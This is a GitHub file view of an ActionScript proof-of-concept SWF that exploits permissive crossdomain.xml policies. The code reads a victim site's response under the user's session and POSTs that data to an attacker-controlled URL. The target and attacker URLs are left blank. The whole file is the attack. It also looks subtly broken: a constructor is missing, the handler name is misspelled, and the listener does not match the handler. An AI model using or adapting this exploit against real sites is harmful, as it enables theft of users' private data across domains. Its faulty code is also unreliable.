-
Notifications
You must be signed in to change notification settings - Fork 24
/
flasher.txt
39 lines (36 loc) · 1.04 KB
/
flasher.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// crossdomain.xml file exploitation SWF file from http://paladion.net/weak-crossdomain-xml-and-its-exploitation-poc/
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
public class flasher extends Sprite {
var readFrom:String = ""; // The target (victim) URL.
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try
{
getLoader.load(readRequest);
}
catch (error:Error)
{
}
}
private function eventHandelr(event:Event):void
{
var sendTo:String = "" // Attacker site, where data will be sent.
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try
{
sendLoader.load(sendRequest);
}
catch (error:Error)
{
}
}
}